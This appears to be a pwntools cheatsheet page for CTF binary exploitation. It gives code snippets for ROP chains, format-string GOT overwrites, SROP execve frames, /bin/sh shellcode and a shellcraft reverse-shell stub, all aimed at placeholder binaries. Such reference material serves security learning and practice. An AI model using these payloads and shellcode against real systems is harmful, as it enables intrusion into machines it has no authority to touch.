> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/01-pwntools-cheatsheet.md).

# Pwntools Complete Cheatsheet

## Setup & Context

```python
from pwn import *

context.arch      = 'amd64'    # amd64 / i386 / arm / aarch64 / mips
context.os        = 'linux'
context.endian    = 'little'
context.log_level = 'info'     # debug / info / warning / error
context.terminal  = ['tmux', 'splitw', '-h']  # for gdb.attach

# One-liner context from binary
context.binary = elf = ELF('./vuln')
```

***

## Connections

```python
# Local process
p = process('./vuln')
p = process(['./vuln', 'arg1'])
p = process('./vuln', env={'LD_PRELOAD': './libc.so.6'})

# Remote
p = remote('ctf.example.com', 1337)

# GDB debug
p = gdb.debug('./vuln', '''
    break main
    continue
''')

# Attach to running process
gdb.attach(p, 'break *0x401234')

# SSH
s = ssh('user', 'host', password='pass', port=22)
p = s.process('./vuln')
```

***

## Send / Receive

```python
# Send
p.send(b'data')                    # raw bytes, no newline
p.sendline(b'data')                # data + \n
p.sendafter(b'prompt:', b'data')   # wait for prompt, then send
p.sendlineafter(b'prompt:', b'data')

# Receive
p.recv(4)                          # exactly 4 bytes
p.recv(numb=4, timeout=2)
p.recvline()                       # until \n (includes \n)
p.recvline(keepends=False)         # strip \n
p.recvuntil(b'marker')             # until marker (includes marker)
p.recvuntil(b'marker', drop=True)  # until marker (excludes it)
p.recvall()                        # until EOF
p.recvn(8)                         # exactly 8 bytes
p.clean()                          # recv with short timeout, discard
p.interactive()                    # hand off to user

# Parse an integer from output
line = p.recvline()
val  = int(line.strip(), 16)       # parse hex

# Parse leaked address from 8-byte leak
leak = p.recv(6).ljust(8, b'\x00')  # 6-byte ASLR address, zero-pad
addr = u64(leak)
```

***

## Packing / Unpacking

```python
# Pack
p8 (0x41)              # 1 byte  → b'A'
p16(0x4142)            # 2 bytes
p32(0xdeadbeef)        # 4 bytes little-endian
p64(0xdeadbeef)        # 8 bytes little-endian
p32(0xdeadbeef, endian='big')  # big-endian

# Unpack
u8 (b'\x41')
u16(b'\x41\x42')
u32(b'\xef\xbe\xad\xde')      # → 0xdeadbeef
u64(data[:8])
u64(data.ljust(8, b'\x00'))   # safe padding

# Flat: pack a list
payload = flat([
    b'A' * 72,
    p64(pop_rdi),
    p64(binsh_addr),
    p64(system_addr)
])

# Fit: specify values at specific offsets
payload = fit({
    0:  b'A' * 72,
    72: p64(ret_addr),
    80: p64(system_addr)
})
```

***

## ELF

```python
elf = ELF('./vuln')

# Addresses
elf.sym['main']          # symbol address (works for functions + variables)
elf.symbols['main']      # same thing
elf.plt['puts']          # PLT stub address
elf.got['puts']          # GOT entry address
elf.bss()                # start of .bss section
elf.bss(offset=0x100)    # .bss + 0x100

# Search
list(elf.search(b'/bin/sh'))    # all occurrences
next(elf.search(b'/bin/sh'))    # first occurrence
next(elf.search(asm('pop rdi; ret')))  # search for gadget bytes

# Info
elf.arch         # 'amd64'
elf.bits         # 64
elf.pie          # True/False
elf.canary       # True/False
elf.nx           # True/False
elf.relro        # 'full' / 'partial' / 'no'

# Set base (after PIE leak)
elf.address = leaked_base

# Patch and save
elf.asm(address, 'nop; nop')
elf.save('./vuln_patched')
```

***

## ROP

```python
rop = ROP(elf)          # or ROP([elf, libc])

# Add gadgets
rop.raw(pop_rdi)
rop.raw(binsh_addr)
rop.raw(system_addr)

# Convenience (auto-finds gadgets)
rop.call('puts', [elf.got['puts']])   # call puts(got_puts)
rop.call('system', [binsh])
rop.call(elf.plt['puts'], [elf.got['puts']])

# Dump chain
print(rop.dump())

# Get bytes
chain = bytes(rop)
payload = b'A' * offset + chain

# Find gadgets manually
rop.find_gadget(['pop rdi', 'ret'])[0]   # address
rop.rdi.address   # shortcut
```

***

## Format String

```python
# Auto-find offset
def exec_fmt(payload):
    p = process('./vuln')
    p.sendlineafter(b'Input: ', payload)
    return p.recvall()

fmt = FmtStr(execute_fmt=exec_fmt)
print(fmt.offset)   # offset to your buffer

# Build write payload
payload = fmtstr_payload(offset, {
    target_addr: value_to_write
})

# Multiple writes
payload = fmtstr_payload(offset, {
    elf.got['puts']:   libc.sym['system'],
    elf.got['printf']: libc.sym['system'],
})

# Specify write size
fmtstr_payload(offset, {addr: val}, write_size='byte')   # %hhn
fmtstr_payload(offset, {addr: val}, write_size='short')  # %hn
fmtstr_payload(offset, {addr: val}, write_size='int')    # %n
```

***

## SROP (Sigreturn-Oriented Programming)

```python
context.arch = 'amd64'

frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
frame.rsp = 0xdeadbeef   # optional

payload = b'A' * offset
payload += p64(pop_rax) + p64(15)    # rax = sigreturn
payload += p64(syscall_addr)
payload += bytes(frame)
```

***

## Cyclic Patterns

```python
pattern = cyclic(200)         # generate 200-byte De Bruijn pattern
cyclic_find(b'aaab')          # find offset from 4 bytes
cyclic_find(0x61616162)       # find offset from int

# 32-bit
cyclic_find(0x61616162, n=4)

# Get from crash: read $rsp value, or use:
# (in gdb) cyclic_find <value>
```

***

## Assembly / Disassembly

```python
# Assemble
asm('nop')                     # b'\x90'
asm('pop rdi; ret')
asm('mov rax, 59; syscall', arch='amd64')
shellcode = asm(shellcraft.sh())   # pwntools shellcraft

# Disassemble
disasm(b'\x90\x48\x31\xc0')
disasm(bytes_at_address, arch='amd64', vma=0x401000)

# Shellcraft
context.arch = 'amd64'
shellcraft.sh()                    # execve /bin/sh
shellcraft.linux.sh()
shellcraft.connect('host', port)   # reverse shell
print(shellcraft.sh())             # view asm
```

***

## Libc Database (libc.rip / libc-database)

```python
# After leaking a libc address, find libc version:
# https://libc.rip/ or https://libc.blukat.me/

# Use libcdb in pwntools:
from pwnlib.libcdb import search_by_symbol_offsets

results = search_by_symbol_offsets(
    [('puts', 0xd0fd0), ('system', 0x55410)]
)
```

***

## Useful Utilities

```python
# Hex dump
hexdump(data)
enhex(data)     # b'\xde\xad' → 'dead'
unhex('dead')   # 'dead' → b'\xde\xad'

# Log helpers
log.info('message')
log.success(f'shell @ {hex(addr)}')
log.warning('something odd')
log.debug('verbose data')

# Wait for gdb to attach (pause execution)
pause()

# Pretty print addresses
print(hex(addr))

# Run in loop until success (brute force)
while True:
    try:
        p = process('./vuln')
        exploit(p)
        break
    except EOFError:
        p.close()
```
